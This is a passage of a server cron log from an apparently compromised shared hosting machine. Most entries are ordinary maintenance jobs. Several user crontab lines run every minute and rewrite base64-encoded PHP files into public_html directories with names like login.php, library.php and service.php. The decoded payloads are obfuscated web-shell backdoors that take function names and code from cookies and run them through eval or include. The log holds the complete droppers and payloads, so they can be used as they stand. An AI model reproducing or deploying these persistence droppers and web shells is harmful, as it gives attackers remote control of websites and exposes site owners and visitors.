"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:02:01 medusa CROND[30012]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:02:01 medusa CROND[30013]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:02:01 medusa CROND[30011]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:02:01 medusa CROND[30014]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:02:01 medusa CROND[30016]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:02:01 medusa CROND[30015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:02:01 medusa CROND[30017]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:02:01 medusa CROND[30021]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:02:01 medusa CROND[30018]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:02:01 medusa CROND[30029]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
Mar  2 01:03:01 medusa CROND[3892]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:03:01 medusa CROND[4065]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:03:01 medusa CROND[4069]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:03:01 medusa CROND[4070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:03:01 medusa CROND[4072]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:03:01 medusa CROND[4073]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:03:01 medusa CROND[4075]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:03:01 medusa CROND[4082]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:03:01 medusa CROND[4085]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:03:01 medusa CROND[4086]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:03:01 medusa CROND[4090]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:03:01 medusa CROND[4092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:04:01 medusa CROND[8587]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
